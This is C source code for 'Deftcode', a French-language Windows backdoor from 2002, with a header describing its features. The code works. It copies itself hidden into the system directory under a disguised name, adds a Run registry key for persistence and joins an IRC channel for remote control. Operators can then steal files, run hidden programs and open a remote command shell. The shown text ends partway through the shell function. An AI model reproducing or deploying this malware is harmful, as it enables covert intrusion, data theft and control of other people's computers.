/*
Deftcode 1.0, ecrit par Bendi (bendi@altern.org) http://bendi.xdir.org | http://www.rootshell.org/~bendi/
----------------------------------------------------------------------------------------------------------

Definition: Un deft est un morceau de code qui s'execute a chaque demarage de windows
,qui se connecte sur irc et repond a un certain nombre de commandes...  -:)

Deftcode est une backdoor par irc...
Quelle interet ?
Vous est t-il jamais arrivé de vouloir installer une backdoor sur une machine
qui n'a pas une connection permanente et une addresse IP dynamique ? Avec une
backdoor classique c'est tres difficile car a chaque nouvelle connection
l'addresse ip est differente et vous perder le controle de la machine... :-(

Deftcode est la solution ! La backdoor rejoint un serveur irc, et vous pouvez
alors prendre control de la machine sans connaitre son adresse IP !

Compatible Win9x, Win NT, Win 2000, Win XP... (en theorie..:-))
Actuellement testé uniquement sur Win98 et Win XP Pro.. (Si vous vous le tester sur d'autre
version vos compte rendu sont le bien venue (bendi@altern.org))
(je pense pas qu'il fontionne sur win95 OSR1 sans MAJ du a l'appelle de InternetGetConnectedState)

Compilé avec LCC-WIN32 : http://www.cs.virginia.edu/~lcc-win32/

Fonctionnalité:
---------------

- Compatible Mirc (et surement d'autre client IRC mais attention avec le protocol DCC et les retours de lignes..)
- attend une connection internet (tentative de connection toute les minutes sans faire
  apparaitre une demande connection)
- se connecte sur un serveur IRC, essaye plusieurs serveurs si la connection echoue, d'origine il y a
  5 serveurs Undernet configuré
- rejoint le canal #deftcode
- accepte automatiquement et enregistre les fichiers envoyés par DCC Send
- accepte et repond par un shell (redirection de command.com/cmd.exe) lors
  d'une demande de DCC Chat
- repond au commande suivante par message privée au sur canal:
* unlock <mot de passe> <[user]>: permet de s'identifier, le deft ne repond a aucune
  commande tant qu'il n'a pas ete identifie si user n'est pas specifier le deft enregistre le nick
  qui lui a fait la demande, le mot de passe d'origine est deftword
* lock : permet de reverouiller comme a l'etat d'orgine le deft
* msgbox <texte> : affiche une message box (la messagebox est creer avec
  un thread ainsi si personne clique sur OK le deft repond toujours au commande)
* beep : fait retentir un beep
* getfile <chemin du fichier> : recupere un fichier par DCC
* cmdirc <commande> : effectue une commande irc (pour par exemple transmettre
  le mode OP sur le canal)
* exec <application>: permet de lancer une application visible
  ex:"exec explorer http://bendi.xdir.org" affiche un site sur l'ordi infecté.
* hexec  <application>: permet de lancer une application en cachant la fenetre. (ne fonctione pas sous Win9x -> revient a exec)
  ex:"hexec c:\program files\windows media player\wmplayer.exe "c:\mes documents\ma musique\system of a down-toxicity.mp3""
  fait ecouter de la musique sur l'ordi distant sans afficher de fenetre
* passwd <password>: change le mot de passe (32 char maxi) (le mot de passe est stocké dans la base de regsitre)
* status : affiche les informations suivantes:
			- Nickname enregistré pour la commande du deft
			- Serveur utilisé
			- Depuis combien de temps le deft est lancé
			- L'utilisateur qui a lancer le deft sur l'ordinateur local
			- Si un shell est en cours d'execution
			- Si un envoie de fichier est en cours d'execution
			- Si un reception de fichier est en cours d'execution
* reset	: 	Fermes tout les taches en cours, et libere les ressources occupé...
			Utile lorsque que une transmission de fichier s'est bloqué ou le shell est bloqué..
			En theorie avec ce systeme, il est impossible de perdre un deft connecté...

* exit : 	Ferme le deft

- Le nom du deft est de la forme deft**** , (avec **** un nombre) si le nom est deja pris il tente un nouveau nombre jusqu'a pouvoir
  se connecter.. Il est donc possible en theorie d'avoir 9999 deft sur un meme canal (mais j'ai un doute !!)

<**** ATTENTION ****> 	le shell ne permet les commandes qui ne rende pas la main (ftp,telnet,....)
						si vous le faites le shell se bloquera, et il sera necessaire de lancer
					    la commande reset pour pouvoir relancer un shell..

Astuces :
---------

- 	Si le deft est connecté a un serveur trop lent vous pouvez lui demander de changer de serveur avec la commande
	"cmdirc quit", il sera alors virer du serveur actuelle est essayera de se reconnectais sur le serveur suivant
	(il n'aurra plus le meme nick)

-	Si par innatention vous annuler l'acceptation du fichier apres la commande getfile vous devez debloquer le deft
	par la commande reset pour pouvoir redemander un fichier..

-	En entrant * comme nom d'utilisateur avec la commande unlock le deft repond a n'importe qui...

-	Pour changer de lecteur sous le shell faire "cd [lecteur]:\" la commande "[lecteur]:" ne fonctionne pas

A faire:
--------

- faire l'infection plus discret (sans clee dans la base de registre)
- transfert de fichier ftp
- recuperation de fichier sur le web
- connection vers un telnet (ca m'etonnerai que j'aurais le courage un jours... mais bon !)

Details divers:
---------------

- le shell est executer par commande cmd.exe /C pour plus de stabilité (ou command.com /C pour win9x)
- de ce fait la commande cd ne fonctionnait pas je l'ai donc intersepter et recoder
- la commande more du shell de fonctionner pas non plus du l'attente de l'appuie d'une touche : idem -> recoder
- si vous trouver d'autre commandes comme ca qui ne fonctionne pas -> mail me ;-)

Derniere MAJ : novembre 2002

 */

#include <windows.h>
#include <winsock.h>
#include <wininet.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <time.h>
#include <math.h>

#define	MAX_CONCT	1
#define	BUFFER_DCC 	512
#define FILENAME	"\\svgainit.exe"				// nom de l'executable dans le rep systeme
#define	NB_SERV		5
#define	SERVER1 	"oslo.no.eu.undernet.org"
#define	SERVER2 	"sandiego.ca.us.undernet.org"
#define	SERVER3 	"geneva.ch.eu.undernet.org"
#define	SERVER4 	"brussels.be.eu.undernet.org"
#define	SERVER5 	"diemen.nl.eu.undernet.org"
#define	PORT 		6667

typedef struct Buffer

	{
		char recv[512];
		char send[128];
		char cmd1[128];
		char cmd2[128];
		char cmd3[128];
		char cmd4[128];
		char cmd5[128];
		char cmd6[128];
		char cmd7[128];
		char cmd8[128];
		char cmd9[128];
	} * BUFFER;

typedef struct Thread
	{
        HANDLE send;
        HANDLE recv;
        HANDLE shell;
        HANDLE command;
	} * THREAD;

typedef	struct Dcc
	{
		char file[MAX_PATH];
		char user[12];
		char buffer[BUFFER_DCC];
		u_short port;
		u_long add_ip;
		u_long size;
		SOCKET socki;
		SOCKET sock;
		SOCKET socktemp;
		HANDLE hpipeoutR;
		HANDLE hpipeoutW;
		HANDLE fhandle;
		THREAD thread;
	} * DCC;

void sends (SOCKET, char *);
int recvs (SOCKET, char *);
void send_nick (SOCKET,char *);
void connect_serv(SOCKET,char *);
void reset (THREAD , DCC , DCC , DCC );
DWORD WINAPI ProcMsg(char * );
DWORD WINAPI SendFile(DCC);
DWORD WINAPI RecvFile(DCC);
DWORD WINAPI Shell(DCC);

int WINAPI WinMain(HINSTANCE dainstance,HINSTANCE hPrevInstance, LPSTR lpCmdLine,int nCmdShow)
{
	BUFFER buffer = (BUFFER) GlobalAlloc(GMEM_FIXED,sizeof(struct Buffer));
	THREAD thread = (THREAD) GlobalAlloc(GMEM_FIXED,sizeof(struct Thread));
	DCC dcc		= (DCC) GlobalAlloc(GPTR,sizeof(struct Dcc));
	DCC dccr	= (DCC) GlobalAlloc(GPTR,sizeof(struct Dcc));
	DCC dccc	= (DCC) GlobalAlloc(GPTR,sizeof(struct Dcc));
	char * msg 	= (char*) GlobalAlloc(GMEM_FIXED,128);

	memset(thread,0,sizeof(struct Thread));

	HOSTENT * host_name;
	WSADATA WSAData;
	SOCKET sock=0;
	SOCKADDR_IN sin;
	STARTUPINFO si;
	PROCESS_INFORMATION pi;

	static char serveurs[NB_SERV][32]={SERVER1, SERVER2, SERVER3, SERVER4, SERVER5};
	static char instname[]=FILENAME;

	DWORD filesize,written,time;
	HANDLE fhmodule,fhinst;
	HKEY key;

	char root[32]={0};
	char nick[32]={0};
	char name[128];
	char password[32]="deftword";
	int index_serv = 0;
	int flag_user,nb_ping,nb_r;
	int connected=1;
	unsigned long dwFlags=0;
	unsigned long ThreadId=0;
	char modulename[256];
	char installed[256];

	int err=0;
	time = GetTickCount();
	DWORD namesize = sizeof(name);

	/*** recuperation du mot de passe dans la base de registre si n'existe pas inscrit celui par defaut *****/

	filesize = sizeof(password);
	RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Deftcode",0, "REG_SZ",REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&key,&written);
	if(RegQueryValueEx(key,"password",NULL,&written,password,&filesize))
		RegSetValueEx(key,"password",0,REG_SZ,password,strlen(password));
	RegCloseKey(key);

	/***** auto copie dans le repertoire systeme et installation dans la base de registre pour auto-lancement *****/

	GetModuleFileName(GetModuleHandle(NULL),modulename,sizeof(modulename));
	fhmodule = CreateFile(modulename,GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
	filesize = GetFileSize(fhmodule,NULL);
	char * bufmodule = (char *) GlobalAlloc(GMEM_FIXED,filesize);
	ReadFile(fhmodule,bufmodule,filesize,&written,NULL);
	CloseHandle(fhmodule);
	GetSystemDirectory(installed,sizeof(installed));
	strcat(installed,instname);
	fhinst = CreateFile(installed,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_HIDDEN,NULL);
	if(fhinst!=INVALID_HANDLE_VALUE)
		{
			WriteFile(fhinst,bufmodule,filesize,&written,NULL);
			CloseHandle(fhinst);
			RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_ALL_ACCESS,&key);
			RegSetValueEx(key,"SVGA Adapter",0,REG_SZ,(BYTE *)installed,strlen(installed));
			RegCloseKey(key);
		}

	// PROGRAMME PRINCIPALE

	while(1)
		{

				/* CONNECTION AU SERVEUR IRC */

			while(connected)
				{

					while(!(InternetGetConnectedState(&dwFlags,0)))
						Sleep(60000);

					closesocket(sock);
					WSACleanup();

					if(WSAStartup(MAKEWORD(1,0), &WSAData))
						ExitProcess(0);

					host_name = gethostbyname(serveurs[index_serv]);
					if(host_name)
						{
							sock = socket (host_name->h_addrtype, SOCK_STREAM, 0);
							memset(&sin,0,sizeof(sin));
				    		memcpy(&(sin.sin_addr),host_name->h_addr,host_name->h_length);
				    		sin.sin_family = host_name->h_addrtype;
							sin.sin_port = htons(PORT);
							connected=(connect(sock, (SOCKADDR *)&sin, sizeof(sin)));
						}

					index_serv++;
					nb_ping=0;
					flag_user=1;

					if(index_serv==NB_SERV)
						index_serv=0;
					Sleep(2500);
				}

			memset(buffer,0,sizeof(struct Buffer));
			memset(nick,0,sizeof(nick));
			nb_r = recvs(sock,buffer->recv);		// reception du serveur

			if((nb_r==0)|(nb_r==SOCKET_ERROR))		// si la connection est rompue on attend 10 secondes et on recommence
				{
					Sleep(10000);
					connected=1;
				}

			if(nb_ping==0&&flag_user)				// si il n'y pas eu de ping et pas encore etait identifier sur le serveur
				{
					sprintf(buffer->send,"USER Deftcode Undernet Undernet :DeftCode"); //commande USER
					sends(sock,buffer->send);
					send_nick(sock,buffer->send);
					flag_user--;
				}

			sscanf(buffer->recv,"%s %s %s %s %s %s %s %s %s",
					buffer->cmd1,buffer->cmd2,buffer->cmd3,buffer->cmd4,
					buffer->cmd5,buffer->cmd6,buffer->cmd7,buffer->cmd8,buffer->cmd9);

			strlwr(buffer->cmd4);					// pas de casse  pour les commandes utilisateur => tout en minuscule
			if(strchr(buffer->cmd1,'!'))
				memcpy(nick,buffer->cmd1+1,(strchr(buffer->cmd1,'!'))-buffer->cmd1-1);

			/***** INTERPRETATION DES COMMANDES DU SERVEUR ******/


			if(!(strcmp(buffer->cmd1,"PING")))		// si le serveur demande un ping
				{
					sprintf(buffer->send,"PONG %s",buffer->cmd2);
					sends(sock,buffer->send);
					nb_ping++;
				}

			if(!(strcmp(buffer->cmd2,"433")))		// si le nick est deja pris on change de nick
				send_nick(sock,buffer->send);

			if(!(strcmp(buffer->cmd2,"376")))		// des que le MOTD est terminé on rejoint le chanel
				{
					sprintf(buffer->send,"JOIN #Deftcode");
					sends(sock,buffer->send);
				}

			/***** INTERPRETATION DES COMMANDES UTILISATEUR ******/

			if(!(strcmp(buffer->cmd2,"PRIVMSG"))&&!(strcmp(buffer->cmd4,":unlock")))
				{
					if(!strcmp(buffer->cmd5,password))
						{
							memset(root,0,32);
							if(buffer->cmd6[0]!=0)
								memcpy(root,buffer->cmd6,32);
							else
								memcpy(root,nick,32);
							sprintf(buffer->send,"PRIVMSG %s :%s a bien été logué.",nick,root);
							sends(sock,buffer->send);
						}
					else
						{
							sprintf(buffer->send,"PRIVMSG %s :Erreur: mauvais mot de passe.",nick);
							sends(sock,buffer->send);
						}
				}

			if(!(strcmp(buffer->cmd2,"PRIVMSG"))&&(!(strcmp(root,nick)))|(!(strcmp(root,"*"))))
				{

					if(!(strcmp(buffer->cmd4,":exit")))
						{
							reset(thread,dccr,dcc,dccc);
							closesocket(sock);
							WSACleanup();
							GlobalFree(buffer);
							GlobalFree(dcc);
							GlobalFree(dccr);
							GlobalFree(dccc);
							GlobalFree(thread);
							GlobalFree(msg);
							ExitProcess(0);
						}

					if(!(strcmp(buffer->cmd4,":cmdirc")))
						sends(sock,strstr(buffer->recv,buffer->cmd5));

					if(!(strcmp(buffer->cmd4,":beep")))
						{
							Beep(2600,500);
							sprintf(buffer->send,"PRIVMSG %s :Beep effectué.",nick);
							sends(sock,buffer->send);
						}

					if(!(strcmp(buffer->cmd4,":msgbox")))
						{
							memcpy(msg,strstr(buffer->recv,buffer->cmd5),128);
							CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)ProcMsg,msg,0,&ThreadId);
							sprintf(buffer->send,"PRIVMSG %s :Message envoyé (en MessageBox).",nick);
							sends(sock,buffer->send);
						}

					if(!(strcmp(buffer->cmd4,":status")))
						{
							sprintf(buffer->send,"PRIVMSG %s :Utilisateur logué sur le deft (nick sur IRC): <%s>",nick,root);
							sends(sock,buffer->send);
							sprintf(buffer->send,"PRIVMSG %s :Serveur utilisé:(%d/%d) <%s>",nick,(index_serv+1),NB_SERV,serveurs[index_serv]);
							sends(sock,buffer->send);
							sprintf(buffer->send,"PRIVMSG %s :Chemin du deft actuellement en marche: %s",nick,modulename);
							sends(sock,buffer->send);
							sprintf(buffer->send,"PRIVMSG %s :Le dedft est lancé depuis : %.0f jours %.0fh %.0fmin %.0fsec",nick,
								ceil((GetTickCount()-time)/86400000),
								ceil(((GetTickCount()-time)%86400000)/3600000),
								ceil((((GetTickCount()-time)%86400000)%3600000)/60000),
								ceil(((((GetTickCount()-time)%86400000)%3600000)%60000)/1000));

							sends(sock,buffer->send);
							memset(name,0,sizeof(name));
							GetUserName(name,&namesize);
							sprintf(buffer->send,"PRIVMSG %s :Utilisateur logué sur l'ordinateur: <%s>",nick,name);
							sends(sock,buffer->send);

							if(thread->shell!=0)
								{
									sprintf(buffer->send,"PRIVMSG %s :Shell en cours d'execution",nick);
									sends(sock,buffer->send);
								}
							if(thread->recv!=0)
								{
									sprintf(buffer->send,"PRIVMSG %s :Reception de fichier en cours d'execution",nick);
									sends(sock,buffer->send);
								}
							if(thread->send!=0)
								{
									sprintf(buffer->send,"PRIVMSG %s :Envoie de fichier en cours d'execution",nick);
									sends(sock,buffer->send);
								}

						}

					if(!(strcmp(buffer->cmd4,":lock")))
						{
							memset(root,0,32);
							sprintf(buffer->send,"PRIVMSG %s :Hôte verrouillé, taper 'UNLOCK <password>' pour reloguer",nick);
							sends(sock,buffer->send);
						}


					if(!(strcmp(buffer->cmd4,":passwd")))
						{
							if((strlen(buffer->cmd5)>32)|!(strlen(buffer->cmd5)))
								{
									sprintf(buffer->send,"PRIVMSG %s :Erreur: le mot de passe doit contenir 32 caracteres maxi et ne doit pas etre nul",nick);
									sends(sock,buffer->send);
								}
							else
								{
									memcpy(password,buffer->cmd5,32);
									RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Deftcode",0, "REG_SZ",REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&key,&written);
									RegSetValueEx(key,"password",0,REG_SZ,buffer->cmd5,strlen(buffer->cmd5));
									RegCloseKey(key);
									sprintf(buffer->send,"PRIVMSG %s :Mot de passe modifié",nick);
									sends(sock,buffer->send);
								}
						}

					if(!(strcmp(buffer->cmd4,":reset")))

						{
							reset(thread,dccr,dcc,dccc);
							sprintf(buffer->send,"PRIVMSG %s :Tout les sous-processus on été tué",nick);
							sends(sock,buffer->send);

						}
					if(!(strcmp(buffer->cmd4,":exec")))
						{
							memset(&si,0,sizeof(STARTUPINFO));
		                    si.cb = sizeof(STARTUPINFO);
							memcpy(msg,strstr(buffer->recv,buffer->cmd5),128);
							memset(strchr(msg,'\r'),0,1);
							if(CreateProcess(NULL,msg,NULL,NULL,FALSE,NORMAL_PRIORITY_CLASS,NULL,NULL,&si,&pi))
								sprintf(buffer->send,"PRIVMSG %s :Appplication lancé avec succés...",nick);
							else
								sprintf(buffer->send,"PRIVMSG %s :Erreur l'application n'a pas été executé...",nick);
							sends(sock,buffer->send);

						}

					if(!(strcmp(buffer->cmd4,":hexec")))
						{
							memset(&si,0,sizeof(STARTUPINFO));
		                    si.cb = sizeof(STARTUPINFO);
							si.dwFlags = STARTF_USESHOWWINDOW;
							si.wShowWindow = SW_HIDE;
							memcpy(msg,strstr(buffer->recv,buffer->cmd5),128);
							memset(strchr(msg,'\r'),0,1);
							if(CreateProcess(NULL,msg,NULL,NULL,FALSE,NORMAL_PRIORITY_CLASS,NULL,NULL,&si,&pi))
								sprintf(buffer->send,"PRIVMSG %s :Appplication lancé avec succés...",nick);
							else
								sprintf(buffer->send,"PRIVMSG %s :Erreur l'application n'a pas été executé...",nick);
							sends(sock,buffer->send);

						}

					if(!(strcmp(buffer->cmd4,":getfile")))
						{
							if (thread->send==0)
								{
									memcpy(dcc->user,nick,10);
									if(strstr(buffer->recv,buffer->cmd5))
										{
											memcpy(dcc->file,strstr(buffer->recv,buffer->cmd5),128);
											if(strchr(dcc->file,'\r')) memset(strchr(dcc->file,'\r'),0,1);
										}
									else
										memset(dcc->file,0,1);
									dcc->socki = sock;
									dcc->thread = thread;
									thread->send=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)SendFile,dcc,0,&ThreadId);
								}
							else
								{
									sprintf(buffer->send,"PRIVMSG %s :Impossible de lancer plus d'une reception de fichier a la fois, utiliser reset si la derniere est bloquée",nick);
									sends(sock,buffer->send);
								}
						}

					if(!(strcmp(buffer->cmd4,":\01dcc"))&&!(strcmp(buffer->cmd5,"SEND")))
						{

							if(thread->recv==0)
								{
									memcpy(dccr->user,nick,10);
									memcpy(dccr->file,buffer->cmd6,128);
									sscanf(buffer->cmd7,"%lu",&dccr->add_ip);
									sscanf(buffer->cmd8,"%hu",&dccr->port);
									sscanf(buffer->cmd9,"%lu\01",&dccr->size);
									dccr->socki = sock;
									dccr->thread = thread;
									thread->recv=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)RecvFile,dccr,0,&ThreadId);
								}
							else
								{

									sprintf(buffer->send,"PRIVMSG %s :Impossible de lancer plus d'un envoie de fichier a la fois, utiliser reset si le dernier est bloqué",nick);
									sends(sock,buffer->send);
								}


						}

					if(!(strcmp(buffer->cmd4,":\01dcc"))&&!(strcmp(buffer->cmd5,"CHAT")))
						{

							if(thread->shell==0)
								{
									memcpy(dccc->user,nick,10);
									sscanf(buffer->cmd7,"%lu",&dccc->add_ip);
									sscanf(buffer->cmd8,"%hu",&dccc->port);
									dccc->socki = sock;
									dccc->thread = thread;
									thread->shell=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)Shell,dccc,0,&ThreadId);
								}
							else
								{

									sprintf(buffer->send,"PRIVMSG %s :Impossible de lancer plus d'un shell a la fois, utiliser reset si le dernier est bloqué",nick);
									sends(sock,buffer->send);
								}

						}


				}

		}
		return(0);
}


/********************************************************************************
* FONCTION sends
*********************************************************************************/

void sends (SOCKET sock,char * string)

{
	strcat(string,"\r\n");
	send(sock,string,strlen(string),0);
}


/********************************************************************************
* FONCTION recvs
*********************************************************************************/

int recvs (SOCKET sock, char * buff)
{
	int erreur=1;
	char cara[2]={0,0};
	while(!(strstr(buff,"\r\n"))&&(erreur!=-1)&&(erreur!=0))
		{
			erreur=recv(sock,cara,1, 0);
			strcat(buff,cara);
		}
	return(erreur);
}


/********************************************************************************
* FONCTION send_nick
*********************************************************************************/


void send_nick (SOCKET sock,char * buffer_send)
{
	srand( (unsigned int)time( NULL ) );
	sprintf(buffer_send,"NICK Deft%d",rand());
	sends(sock,buffer_send);
}

/********************************************************************************
* FONCTION reset
*********************************************************************************/

void reset (THREAD thread, DCC dccr, DCC dcc, DCC dccc)

{
	if(thread->recv!=0)
	   {
		   TerminateThread(thread->recv,0);
		   CloseHandle(dccr->fhandle);
		   closesocket(dccr->sock);
		}

	if(thread->send!=0)
	   {
		   TerminateThread(thread->send,0);
		   CloseHandle(dcc->fhandle);
		   closesocket(dcc->sock);
		   closesocket(dcc->socktemp);
		}

	if(thread->command!=0)
	   {
		   	TerminateProcess(thread->command,0);
			CloseHandle(dccc->hpipeoutR);
			CloseHandle(dccc->hpipeoutW);
		}

	if(thread->shell!=0)
	   {
			TerminateThread(thread->shell,0);
			closesocket(dccc->sock);
		}

	memset(thread,0,sizeof(struct Thread));
}

/********************************************************************************
* FONCTION ProcMsg
*********************************************************************************/


DWORD WINAPI ProcMsg(char * msg)
{
	MessageBox(NULL,msg,"Message:",MB_OK);
	return(TRUE);
}

/********************************************************************************
* FONCTION SendFile
*********************************************************************************/

DWORD WINAPI SendFile(DCC dcc)
{
	HOSTENT * host_name;
	SOCKADDR_IN sin;
	DWORD read = 0;
	int sizedcc;
	int csize = 0;
	char local_name[128];

	dcc->fhandle = CreateFile(dcc->file,GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
	if (dcc->fhandle==INVALID_HANDLE_VALUE)
		{
			sprintf(dcc->buffer,"PRIVMSG %s :Impossible d'acceder au fichier <%s>",dcc->user,dcc->file);
			sends(dcc->socki,dcc->buffer);
			CloseHandle(dcc->fhandle);
			dcc->thread->send=0;
			return(FALSE);
		}

	dcc->size = GetFileSize(dcc->fhandle,NULL);
	dcc->socktemp = socket(AF_INET,SOCK_STREAM,0);
	sin.sin_family=AF_INET;
	sin.sin_addr.s_addr = INADDR_ANY;
	sin.sin_port = htons(2002);
	gethostname(local_name,sizeof(local_name));
	host_name = gethostbyname(local_name);
	bind(dcc->socktemp,(struct sockaddr *)&sin,sizeof(sin));
	listen(dcc->socktemp,MAX_CONCT);

	if(strrchr(dcc->file,'\\'))
		memcpy(dcc->file,strrchr(dcc->file,'\\')+1,MAX_PATH);

	while(strchr(dcc->file,' '))
		memset(strchr(dcc->file,' '),'_',1);

	sprintf(dcc->buffer,"PRIVMSG %s :%cDCC SEND %s %u 2002 %u\x01",dcc->user,1,dcc->file,htonl(*((DWORD *)host_name->h_addr_list[0])),dcc->size);
	sends(dcc->socki,dcc->buffer);

	dcc->sock = accept(dcc->socktemp,NULL,NULL);

	if (dcc->sock==INVALID_SOCKET)
		{
			sprintf(dcc->buffer,"PRIVMSG %s :Impossible d'établir une connection directe",dcc->user);
			sends(dcc->socki,dcc->buffer);
			CloseHandle(dcc->fhandle);
			dcc->thread->send=0;
			return(FALSE);
		}

	if (dcc->size<BUFFER_DCC)
		sizedcc=dcc->size;
	else
		sizedcc=BUFFER_DCC;

	while(htonl(csize)!=dcc->size)
		{
			ReadFile(dcc->fhandle,dcc->buffer,sizedcc,&read,NULL);
			send(dcc->sock,dcc->buffer,read,0);
			recv(dcc->sock,(char *)&csize,4,0);
		}

	sprintf(dcc->buffer,"PRIVMSG %s :Fichier <%s> envoyé: %d octets envoyés...",dcc->user,dcc->file,dcc->size);
	sends(dcc->socki,dcc->buffer);
	closesocket(dcc->sock);
	closesocket(dcc->socktemp);
	CloseHandle(dcc->fhandle);
	dcc->thread->send=0;
	return(TRUE);
}


/********************************************************************************
* FONCTION RecvFile
*********************************************************************************/


DWORD WINAPI RecvFile(DCC dcc)
{
	SOCKADDR_IN sin;
	DWORD csize = 0;
	int read = 0;
	DWORD written = 0;
	u_long size = 0;

	dcc->fhandle = CreateFile(dcc->file,GENERIC_WRITE|GENERIC_READ,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
	if (dcc->fhandle==INVALID_HANDLE_VALUE)
		{
			sprintf(dcc->buffer,"PRIVMSG %s :Impossible de creer le fichier <%s>",dcc->user,dcc->file);
			sends(dcc->socki,dcc->buffer);
			CloseHandle(dcc->fhandle);
			dcc->thread->recv=0;
			return(FALSE);
		}

	dcc->sock = socket(AF_INET,SOCK_STREAM,0);
	sin.sin_family=AF_INET;
	sin.sin_addr.s_addr = ntohl(dcc->add_ip);
	sin.sin_port = htons(dcc->port);

	if (connect(dcc->sock, (SOCKADDR *)&sin, sizeof(sin)))
		{
			sprintf(dcc->buffer,"PRIVMSG %s :Impossible d'établir une connection directe",dcc->user);
			sends(dcc->socki,dcc->buffer);
			CloseHandle(dcc->fhandle);
			dcc->thread->recv=0;
			return(FALSE);
		}

	while(csize!=dcc->size)
		{
			read = recv(dcc->sock,dcc->buffer,BUFFER_DCC,0);
			if(read==-1)
				{
					sprintf(dcc->buffer,"PRIVMSG %s :Erreur lors du transfert de fichier...",dcc->user);
					sends(dcc->socki,dcc->buffer);
					CloseHandle(dcc->fhandle);
					dcc->thread->recv=0;
					return(FALSE);
				}

			WriteFile(dcc->fhandle,dcc->buffer,read,&written,NULL);
			csize= csize + read;
			size = ntohl(csize);
			send(dcc->sock,(char *)&size,4,0);
		}

	sprintf(dcc->buffer,"PRIVMSG %s :Fichier <%s> reçu : %d octets reçu..",dcc->user,dcc->file,dcc->size);
	sends(dcc->socki,dcc->buffer);
	CloseHandle(dcc->fhandle);
	closesocket(dcc->sock);
	dcc->thread->recv=0;
	return(TRUE);

}

/********************************************************************************
* FONCTION Shell
*********************************************************************************/


DWORD WINAPI Shell(DCC dcc)
{

	SECURITY_ATTRIBUTES sa;
	STARTUPINFO si;
	PROCESS_INFORMATION pi;
	SOCKADDR_IN sin;
	unsigned long version;
	static char bmsg[]="Lancement du Shell...\nAttention ne fonctionne pas avec les applications qui ne rendent pas immediatement la main comme telnet, ftp, ...., et les application GUI(sous NT)\nSous NT utiliser la commande exec pour les application GUI\nPour quitter taper \"exit\"\r\n";
	static char emsg[]="Impossible d'acceder au fichier..\r\n";
	char command[2][20]={"cmd.exe /C ","command.com /C "};
	DWORD written;
	char cmd[MAX_PATH+100];
	char cmd1[MAX_PATH+100];
	char cmd2[MAX_PATH+100];
	char cpath[512];
	int sizecpath;

	dcc->sock = socket(AF_INET,SOCK_STREAM,0);
	sin.sin_family=AF_INET;
	sin.sin_addr.s_addr = ntohl(dcc->add_ip);
	sin.sin_port = htons(dcc->port);

	if (connect(dcc->sock, (SOCKADDR *)&sin, sizeof(sin)))
		{
			sprintf(dcc->buffer,"PRIVMSG %s :Impossible d'établir une connection directe",dcc->user);
			sends(dcc->socki,dcc->buffer);
			dcc->thread->shell=0;
			return(FALSE);
		}

	send(dcc->sock,bmsg,sizeof(bmsg),0);

	version=GetVersion();
	version=version>>31;
	memset(cmd,0,sizeof(cmd));
	strcat(cmd,command[version]);
	strcat(cmd,"ver");

	memset(dcc->buffer,0,BUFFER_DCC);
	written=0;

	while (strcmp(cmd1,"exit"))
     {

		  sa.nLength = sizeof(SECURITY_ATTRIBUTES);
		  sa.lpSecurityDescriptor = NULL;
		  sa.bInheritHandle = TRUE;

		  CreatePipe(&dcc->hpipeoutR,&dcc->hpipeoutW,&sa,BUFFER_DCC);

  		  memset(&si,0,sizeof(STARTUPINFO));
		  si.cb = sizeof(STARTUPINFO);
		  si.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
		  si.wShowWindow = SW_HIDE;
		  si.hStdInput = GetStdHandle(STD_INPUT_HANDLE);
		  si.hStdOutput = dcc->hpipeoutW;
		  si.hStdError = dcc->hpipeoutW;

		  if(!strcmp(cmd1,"more"))
			  {
				  	dcc->fhandle = CreateFile(cpath,GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
					if (dcc->fhandle==INVALID_HANDLE_VALUE)
						send(dcc->sock,emsg,sizeof(emsg),0);
					else
						{
	                      dcc->size = GetFileSize(dcc->fhandle,NULL);
						  char * buffer = (char *) GlobalAlloc(GMEM_FIXED,dcc->size);
						  ReadFile(dcc->fhandle,buffer,dcc->size,&written,NULL);
						  OemToCharBuff(buffer,buffer,written);
						  send(dcc->sock,buffer,written,0);
						  GlobalFree(buffer);
						  CloseHandle(dcc->fhandle);
						  send(dcc->sock,"\r\n",2,0);
						}
				}
		  else
		  	{
				CreateProcess(NULL,cmd,&sa,&sa,TRUE,0,NULL,NULL,&si,&pi);
				dcc->thread->command=pi.hProcess;
			}

 		  if(!strcmp(cmd1,"cd"))
			  SetCurrentDirectory(cpath);


		  while((WaitForSingleObject(pi.hProcess,1)!=WAIT_OBJECT_0))
			  {
                dcc->size=0;
				PeekNamedPipe(dcc->hpipeoutR,NULL,0,NULL,&dcc->size,NULL);
				if(dcc->size)
					  {
						  char * buffer = (char *) GlobalAlloc(GMEM_FIXED,dcc->size);
						  ReadFile(dcc->hpipeoutR,buffer,dcc->size,&written,NULL);
						  OemToCharBuff(buffer,buffer,written);
						  send(dcc->sock,buffer,written,0);
						  GlobalFree(buffer);
					   }
				}

		  do
			  {
				dcc->size=0;
				PeekNamedPipe(dcc->hpipeoutR,NULL,0,NULL,&dcc->size,NULL);
                if(dcc->size)
					  {
						  char * buffer = (char *) GlobalAlloc(GMEM_FIXED,dcc->size);
						  ReadFile(dcc->hpipeoutR,buffer,dcc->size,&written,NULL);
						  OemToCharBuff(buffer,buffer,written);
						  send(dcc->sock,buffer,written,0);
						  GlobalFree(buffer);
					   }
		 		}
		  while(dcc->size);

